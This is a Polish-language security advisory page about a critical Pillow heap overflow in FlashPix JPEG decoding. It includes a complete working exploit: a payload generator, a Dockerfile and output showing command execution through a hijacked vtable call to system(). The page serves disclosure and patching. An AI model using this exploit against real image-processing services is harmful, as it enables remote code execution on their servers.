Krytyczna

Pillow: Przepełnienie bufora na stercie w dekodowaniu JPEG FlashPix (FPX) prowadzi do wykonania kodu

  • Ujawniono: 19.10.2026
  • Aktualizacja: 28.10.2026 13:17

Komunikat źródłowy zmienił się od przygotowania tego objaśnienia. Sprawdź aktualne dane techniczne i oryginalny komunikat poniżej.

Podziękowania

Badacz: Alex Bouffard (mixbo@pebwalker.com)

Podsumowanie

Przepełnienie bufora na stercie w dekoderze kafelków JPEG FlashPix (FPX) w bibliotece Pillow pozwala atakującemu na wykonanie dowolnego kodu poprzez skłonienie aplikacji do otwarcia pojedynczego spreparowanego pliku za pomocą Image.open(). Plik jest rozpoznawany na podstawie zawartości (nagłówka OLE2), a nie rozszerzenia, dzięki czemu każda usługa otwierająca lub tworząca miniatury niezaufanych przesyłanych plików z zainstalowaną opcjonalną zależnością olefile jest podatna na atak bez udziału użytkownika. W poniższym dowodzie koncepcji (PoC) otwarcie spreparowanego pliku powoduje wykonanie wybranego przez atakującego polecenia w standardowej wersji Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39).

Szczegóły

FpxImagePlugin dekoduje pliki FlashPix (FPX), które są dokumentami złożonymi OLE2/CFBF.

Image.open() wykrywa je automatycznie na podstawie nagłówka OLE2 D0CF11E0..., ilekroć zainstalowany jest opcjonalny pakiet olefile (udokumentowana zależność Pillow dla obsługi FPX/MIC), bez względu na rozszerzenie pliku.

W przypadku podobrazu skompresowanego algorytmem JPEG (compression == 2) wtyczka tworzy kafelek dekodowania "jpeg" i wyprowadza parę (rawmode, jpegmode) z kontrolowanych przez atakującego identyfikatorów kolorów FPX za pośrednictwem tabeli MODES (src/PIL/FpxImagePlugin.py L25-L32):

python
MODES = {
    ...
    (0x00018000, 0x00017FFE): ("RGBA", "LA"),                # rawmode "LA"  (2 bytes/pixel)
    ...
    (0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"),  # rawmode "YCC;P"
}

Bufor wyjściowy Imaging dla kafelka ma rozmiar dopasowany do trybu rawmode (tutaj "LA" = 2 bajtów/piksel) (src/decode.c L223-L226):

c
state->bytes = (state->bits * state->xsize + 7) / 8;   // "LA" gives 2 * xsize bytes/row
...
state->buffer = (UINT8 *)calloc(1, state->bytes);

W JpegDecode.c ciąg rawmode jest mapowany na out_color_space z biblioteki libjpeg. Rozpoznane tryby (CMYK, YCbCr, YCbCrK itd.) otrzymują konkretną przestrzeń barw, lecz "LA" oraz "YCC;P" nie są rozpoznawane, w związku z czym wykonanie trafia do gałęzi domyślnej (src/libImaging/JpegDecode.c L219-L221):

c
/* Disable decoder conversions. */
context->cinfo.jpeg_color_space = JCS_UNKNOWN;
context->cinfo.out_color_space  = JCS_UNKNOWN;

W trybie JCS_UNKNOWN biblioteka libjpeg nie wykonuje konwersji kolorów i generuje cinfo.num_components bajtów na piksel, pobieranych ze znacznika SOF osadzonego pliku JPEG, który atakujący ustawia na 4. W rezultacie jpeg_read_scanlines zapisuje 4 * width bajtów na wiersz do bufora przydzielonego dla zaledwie 2 * width bajtów (src/libImaging/JpegDecode.c L252):

c
ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);   // writes 4*W into a 2*W buffer

Jest to zapis poza granicami bufora na stercie o długości kontrolowanej przez atakującego (szerokość obrazu, sięgająca dziesiątek tysięcy pikseli, co daje około 2 * width bajtów przepełnienia na wiersz) i kontrolowanej przez niego zawartości (zdekodowane dane pikseli). PoC wykorzystuje to zjawisko: przepełnienie nadpisuje pole ob_type sąsiedniego obiektu Pythona bytes wskaźnikiem do fałszywej tablicy vtable PyTypeObject / PyBufferProcs, którą to samo przepełnienie umieszcza wewnątrz bufora dekodowania. Kiedy Pillow zwalnia bufor wejściowy, PyBuffer_Release przechodzi przez ob_type -> tp_as_buffer -> bf_releasebuffer i wykonuje call *rax; PoC kieruje to wywołanie na system@plt (stały adres, binarium interpretera nie korzysta z PIE) z rdi ustawionym na ciąg polecenia, co prowadzi do wykonania polecenia.

PoC

Aby umożliwić dokładne odtworzenie podatności na maszynie x86_64, niniejszy PoC korzysta ze wskazanego wersją obrazu Dockera z wyłączonym ASLR opisanego w Załączniku A.

Kod źródłowy narzędzia do generowania ładunku make_payload.py znajduje się w Załączniku B.

vulnerable.py to program testowy, jednolinijkowy skrypt otwierający przekazany mu plik:

python
#!/usr/bin/env python3
# The entire vulnerable operation an application performs on an untrusted file.
import sys
from PIL import Image

Image.open(sys.argv[1]).load()

Ładunek to samodzielny plik .fpx, który atakujący tworzy na własnej maszynie; cel jedynie otwiera powstały plik, więc jego przygotowanie nie wymaga dostępu do celu ani możliwości wykonywania na nim kodu. Uruchamiamy make_payload.py wewnątrz tego samego kontenera wyłącznie dla wygody, aby wbudowane na stałe adresy (--offset, system@plt) pasowały do wskazanego obrazu. Ładunek przekierowuje przejęte wywołanie pośrednie na system@plt (0x4206c0, stały adres, ponieważ binarium interpretera nie jest PIE) z wbudowanym poleceniem:

bash
$ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx
[control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0
[control] opening it: vtable hijack -> call *0x4206c0 with rdi -> 'id'

Następnie otwórz go za pomocą vulnerable.py:

bash
$ python3 vulnerable.py shell.fpx
uid=0(root) gid=0(root) groups=0(root)
corrupted size vs. prev_size

Image.open() spreparowanego pliku wykonuje wbudowane polecenie poprzez system("id"): wykonanie polecenia z uprawnieniami użytkownika przetwarzającego obraz (root w kontenerze).

Końcowy komunikat corrupted size vs. prev_size oznacza przerwanie działania przez glibc podczas zamykania interpretera z powodu uszkodzonej sterty, już po wykonaniu id.

Generator zapisuje polecenie inline w przejętym rdi, dlatego --cmd jest ograniczone do 7 bajtów (na przykład id, id;w). Wartości --offset i system@plt są stałymi dla wskazanego obrazu z wyłączonym ASLR i pozostają niezmienne pomiędzy jego uruchomieniami.

Wpływ

Podatność ta jest przepełnieniem bufora na stercie (CWE-122) / zapisem poza granicami bufora (CWE-787), które prowadzi do wykonania kodu. Dotknięta jest każda aplikacja lub usługa, która otwiera pliki pochodzące od atakującego za pomocą biblioteki Pillow i ma zainstalowaną opcjonalną zależność olefile: serwisy przesyłania i tworzenia miniatur obrazów, przetwarzanie awatarów i multimediów, potoki konwersji dokumentów oraz obrazów i podobne. Ponieważ wykrywanie odbywa się na podstawie nagłówka OLE2, a nie rozszerzenia pliku, a przepełnienie jest wyzwalane podczas standardowego wywołania Image.open() / load, serwer automatycznie przetwarzający przesłany plik może zostać skompromitowany bez żadnej interakcji ze strony użytkownika. Skutkiem jest wykonanie dowolnego polecenia w kontekście procesu przetwarzającego obraz, co prowadzi do pełnego przejęcia tego procesu oraz posiadanych przez niego danych i uprawnień.

Załącznik A: Konfiguracja Dockera

PoC działa w określonym wersją obrazie Dockera, co zapewnia deterministyczne środowisko; obraz instaluje wskazaną wersję Pythona (3.12.3) oraz pakiet wheel Pillow 12.2.0, a generator korzysta wyłącznie z Pillow. Punkt wejścia obrazu wyłącza ASLR (setarch -R), aby zmniejszyć wymagania dotyczące znajomości systemu. Pojedyncza flaga --security-opt seccomp=unconfined przy docker run jest wymagana wyłącznie dlatego, że wyłączenie ASLR używa wywołania systemowego personality(), które domyślny profil seccomp Dockera blokuje. Uruchamiaj wyłącznie na własnej infrastrukturze.

1. Zbuduj obraz. Umieść vulnerable.py (PoC) oraz make_payload.py (Załącznik B) w katalogu z następującym plikiem Dockerfile:

dockerfile
FROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54
RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates \
        python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \
    && rm -rf /var/lib/apt/lists/*
RUN python3.12 -m venv /opt/v \
    && /opt/v/bin/pip install --no-cache-dir "Pillow==12.2.0" "olefile==0.47"
ENV PATH=/opt/v/bin:$PATH
WORKDIR /poc
# ASLR is an OS mitigation unrelated to the bug; disable it in-image for a deterministic heap.
ENTRYPOINT ["setarch", "-R"]
CMD ["bash"]
bash
$ docker build -t fjpeg1-poc .
...
Downloading pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (7.1 MB)
Successfully installed Pillow-12.2.0 olefile-0.47
Successfully built 370344c832b6
Successfully tagged fjpeg1-poc:latest

2. Uruchom powłokę kontenera (z wyłączonym ASLR) z zamontowanymi skryptami:

bash
docker run --rm -it --security-opt seccomp=unconfined -v "$PWD:/poc" -w /poc fjpeg1-poc

Załącznik B: Kod źródłowy generatora ładunku

make_payload.py:

python
#!/usr/bin/env python3
"""F-JPEG-1 payload builder for a 0-ASLR box (x86_64 + glibc), pure Pillow (no native toolchain).
Builds an .fpx whose embedded 4-component JPEG, decoded via Pillow's FpxImagePlugin -> JCS_UNKNOWN
path, overflows the 2-byte/px decode buffer and overwrites an adjacent object's ob_type.
  --crash      flood an adjacent ob_type with 0x42.. -> SIGSEGV in PyBuffer_Release
  (default)    CONTROL: fake vtable at the fixed (no-ASLR) addresses -> call *--target
Defaults target the pinned Docker image with ASLR disabled (setarch -R). See --help."""
import sys, io, struct, math, argparse
from PIL import Image

W, H = 65000, 2
SECT, OB_TYPE_OFF, DATA_PAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748
FREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF
FPX_CLSID = bytes.fromhex("0067615654C1CE11855300AA00A1F95B")
o32 = lambda v: struct.pack("<I", v)
p64 = lambda v: struct.pack("<Q", v)
INV = bytes(255 - i for i in range(256))   # 8-bit inversion table

def jpeg(src):
    b = io.BytesIO()
    Image.frombytes("CMYK", (W, H), bytes(src)).save(b, "JPEG", quality=100, subsampling=0)
    return b.getvalue()

def decode_row(jpg):
    # Predict what the vulnerable JCS_UNKNOWN path decodes, using Pillow itself: JCS_UNKNOWN emits
    # the raw JPEG components R, while Pillow's own CMYK decode of the same file returns 255 - R
    # (the Adobe-CMYK inversion). So 255 - Image.open(jpg) is exactly the vulnerable output. The
    # last decoded row is the one that lands in (and overflows past) the buffer.
    px = Image.open(io.BytesIO(jpg)).tobytes()
    return px[(H - 1) * W * 4:].translate(INV)

def craft(targets, iters=40):  # decode-feedback exact write (JPEG is lossy -> iterate to converge)
    # base fill 0xBD -> decodes to 0x42, so the overflow GAPS match the crash-mode flood pattern
    # that reaches PyBuffer_Release cleanly (uniform 0x42 avoids a premature glibc free() abort).
    src = bytearray(b"\xbd" * (W * H * 4)); base = (H - 1) * W * 4; it = 0
    for off, t in targets:
        for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v
    for it in range(iters):
        dec = decode_row(jpeg(src)); bad = 0
        for off, t in targets:
            for i, v in enumerate(t):
                if dec[off + i] != v:
                    bad += 1
                    src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v))
        if not bad: break
    return jpeg(src), it, bad

def maxid_for(w, h):
    s, i = max(w, h), 1
    while s > 64: s //= 2; i += 1
    return i - 1
MAXID = maxid_for(W, H); RESNAME = "Resolution %04d" % MAXID

def image_contents():
    ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b
    cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE)        # FPX color -> rawmode "LA"
    props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID << 16), blob(cb))]
    voff = 8 + 8 * len(props); idx = vals = b""
    for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v)
    body = o32(len(props)) + idx + vals
    return (struct.pack("<HHI", 0xFFFE, 0, 0x00020005) + b"\x00" * 16 + o32(1) + b"\x00" * 16
            + o32(48) + o32(len(body) + 4) + body)

def subimage_header():
    b = bytearray(80)
    for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2),
                 (56, 36), (60, 16), (64, 0), (72, 2)]:
        struct.pack_into("<I", b, o, v)
    return bytes(b)

def build_fpx(jpg, out):
    data = b"\x00" * 28 + jpg
    assert len(data) <= DATA_PAD, (len(data), DATA_PAD)
    pad = lambda x: x + b"\x00" * ((-len(x)) % SECT)
    sd = {"ic": pad(image_contents().ljust(4096, b"\x00")),
          "hdr": pad(subimage_header().ljust(4096, b"\x00")),
          "dat": pad(data.ljust(DATA_PAD, b"\x00"))}
    ns = lambda x: len(x) // SECT; order = ["ic", "dat", "hdr"]
    dsec = math.ceil(6 * 128 / SECT); content = dsec + sum(ns(sd[k]) for k in order)
    fsec = 1
    while fsec * 128 < fsec + content: fsec += 1
    pos = {}; cur = fsec; dstart = cur; cur += dsec
    for k in order: pos[k] = cur; cur += ns(sd[k])
    total = cur
    fat = [FREESECT] * (fsec * 128)
    for s in range(fsec): fat[s] = FATSECT
    def chain(a, n):
        for j in range(n): fat[a + j] = a + j + 1 if j < n - 1 else ENDOFCHAIN
    chain(dstart, dsec)
    for k in order: chain(pos[k], ns(sd[k]))
    def de(nm, t, ch, l, r, st, sz, cl=b"\x00" * 16):
        n = (nm.encode("utf-16-le") + b"\x00\x00").ljust(64, b"\x00")[:64]
        return (n + struct.pack("<HBB", min((len(nm) + 1) * 2, 64), t, 1) + o32(l) + o32(r)
                + o32(ch) + cl + o32(0) + b"\x00" * 16 + o32(st) + struct.pack("<Q", sz))
    directory = pad(b"".join([
        de("Root Entry", 5, 1, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0, FPX_CLSID),
        de("Data Object Store 000001", 1, 2, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),
        de("\x05Image Contents", 2, NOSTREAM, NOSTREAM, 3, pos["ic"], len(sd["ic"])),
        de(RESNAME, 1, 4, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),
        de("Subimage 0000 Data", 2, NOSTREAM, NOSTREAM, 5, pos["dat"], len(sd["dat"])),
        de("Subimage 0000 Header", 2, NOSTREAM, NOSTREAM, NOSTREAM, pos["hdr"], len(sd["hdr"]))]))
    h = bytearray(512); h[0:8] = bytes.fromhex("D0CF11E0A1B11AE1")
    for o, fmt, *v in [(24, "<HH", 0x3E, 3), (28, "<H", 0xFFFE), (30, "<HH", 9, 6), (44, "<I", fsec),
                       (48, "<I", dstart), (56, "<I", 4096), (60, "<I", ENDOFCHAIN), (68, "<I", ENDOFCHAIN)]:
        struct.pack_into(fmt, h, o, *v)
    for i in range(109): struct.pack_into("<I", h, 76 + i * 4, i if i < fsec else FREESECT)
    secs = [b""] * total
    for s in range(fsec): secs[s] = b"".join(o32(x) for x in fat[s * 128:(s + 1) * 128])
    for j in range(dsec): secs[dstart + j] = directory[j * SECT:(j + 1) * SECT]
    for k in order:
        for j in range(ns(sd[k])): secs[pos[k] + j] = sd[k][j * SECT:(j + 1) * SECT]
    open(out, "wb").write(bytes(h) + b"".join(secs))

def xhex(s): return int(s, 16)

SYSTEM_PLT = 0x4206c0   # system@plt in the image's non-PIE python3.12 (fixed, no libc leak)

def main():
    ap = argparse.ArgumentParser(description="F-JPEG-1 .fpx payload builder (0-ASLR box)")
    ap.add_argument("--out", required=True, help="output .fpx path")
    ap.add_argument("--crash", action="store_true",
                    help="crash mode: flood an adjacent ob_type with 0x42.. and SIGSEGV (no addresses)")
    ap.add_argument("--heap-base", type=xhex, default=0xbaa000,
                    help="fixed heap base of the 0-ASLR box (default 0xbaa000)")
    ap.add_argument("--offset", type=xhex, default=0x21e800,
                    help="state->buffer - heap_base (default 0x21e800 -> S=0xdc8800)")
    ap.add_argument("--target", type=xhex, default=SENTINEL,
                    help="value called via the hijacked vtable; pass %#x (system@plt) for "
                         "command execution (default is a sentinel for an RIP-control demo)" % SYSTEM_PLT)
    ap.add_argument("--cmd", default="id",
                    help="command system() runs, written inline at obj+0 / rdi (<=7 bytes, e.g. id, id;w)")
    a = ap.parse_args()

    if a.crash:
        # Pillow's CMYK JPEG path decodes inverted (decoded = 255 - src), so flood source 0xBD
        # to make the decoded overflow bytes 0x42 -> the adjacent ob_type becomes 0x4242424242424242.
        build_fpx(jpeg(bytes([0xBD]) * (W * H * 4)), a.out)
        print("[crash] %s: opening it overwrites an adjacent ob_type with 0x4242424242424242 "
              "-> SIGSEGV in PyBuffer_Release (no addresses)" % a.out)
        return

    if len(a.cmd.encode()) > 7:
        sys.exit("--cmd must be <=7 bytes (it is written inline at obj+0, before ob_type)")
    S = a.heap_base + a.offset
    A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000     # spray A = fake type, spray B = TARGET
    tg = [(OB_TYPE_OFF, p64(S + (A0 + A1) // 2)),
          (OB_TYPE_OFF - 8, a.cmd.encode() + b"\x00")]      # obj+0 -> rdi for system()
    tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)]   # fake type -> spray B at +0xa0..+8
    tg += [(o, p64(a.target)) for o in range(B0, B1, 8)]
    jpg, it, bad = craft(tg)
    build_fpx(jpg, a.out)
    print("[control] %s: S=%#x target=%#x cmd=%r craft_iters=%d bad=%d"
          % (a.out, S, a.target, a.cmd, it, bad))
    print("[control] opening it: vtable hijack -> call *%#x with rdi -> %r" % (a.target, a.cmd))

if __name__ == "__main__":
    main()

Co trzeba zrobić

Środki zaradcze nie zostały określone.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) pillow < 13.0.0 13.0.0

Odnośniki

Ocena CVSS 9.8/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Słabość (CWE)
CWE-122, CWE-787
Platforma
Python (PyPI)
Paczka
pillow
Ujawniono
19.10.2026
Aktualizacja
28.10.2026 13:17

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-5x8w-8jj5-q52h - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-4330 - PyPA Advisory Database; CC BY 4.0

Historia podatności: pillow

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (106) w archiwum
Wszystkich wpisów
106
Pierwsza → ostatnia
04.2014 11.2026
Bez poprawki
0
Wykorzystywana w atakach
1

Rozkład istotności

  • Krytyczna 14
  • Wysoka 63
  • Średnia 27
  • Niska 1
  • Nieoceniona 1

Ujawnienia w latach

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 19
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 49

wcześniej: 12

Istotność:
  1. Wysoka CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  2. Wysoka · 7.5 CVE-2026-112405 >= 12.0.0, < 13.0.0 13.0.0
  3. Pillow: Przepełnienie bufora na stercie w dekodowaniu JPEG FlashPix (FPX) prowadzi do wykonania kodu ten wpis
    Krytyczna · 9.8 CVE-2026-112398 < 13.0.0 13.0.0
  4. Krytyczna · 9.8 CVE-2026-112403 < 13.0.0 13.0.0
  5. Wysoka · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  6. Wysoka CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  7. Wysoka · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  8. Wysoka CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  9. Wysoka · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  10. Wysoka · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  11. Krytyczna · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  12. Wysoka · 8.8 Wykorzystywana w atakach CVE-2023-4863 < 10.0.1 10.0.1
  13. Wysoka · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  14. Wysoka · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  15. Wysoka · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  16. Krytyczna · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  17. Wysoka · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  18. Krytyczna · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  19. Wysoka · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  20. Wysoka · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  21. Wysoka · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  22. Wysoka · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  23. Wysoka · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
  24. Wysoka · 7.5 CVE-2021-25293 >= 4.3.0, < 8.1.1 8.1.1
  25. Wysoka · 7.5 CVE-2021-25291 < 8.2.0 8.2.0
  26. Wysoka · 7.5 CVE-2021-25290 < 8.1.1 8.1.1
  27. Krytyczna · 9.8 CVE-2021-25289 < 8.1.1 8.1.1
  28. Wysoka · 7.5 CVE-2021-27923 < 8.1.2 8.1.2
  29. Wysoka · 7.5 CVE-2021-27922 < 8.1.2 8.1.2
  30. Wysoka · 7.5 CVE-2021-27921 < 8.1.2 8.1.2
  31. Wysoka · 8.8 CVE-2020-35654 < 8.1.0 8.1.0
  32. Wysoka · 7.1 CVE-2020-35653 < 8.1.0 8.1.0
  33. Krytyczna · 8.1 CVE-2020-11538 < 7.1.0 7.1.0
  34. Wysoka · 5.5 CVE-2020-10994 < 7.1.0 7.1.0
Pokaż więcej (17) Widać 60 z 77

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.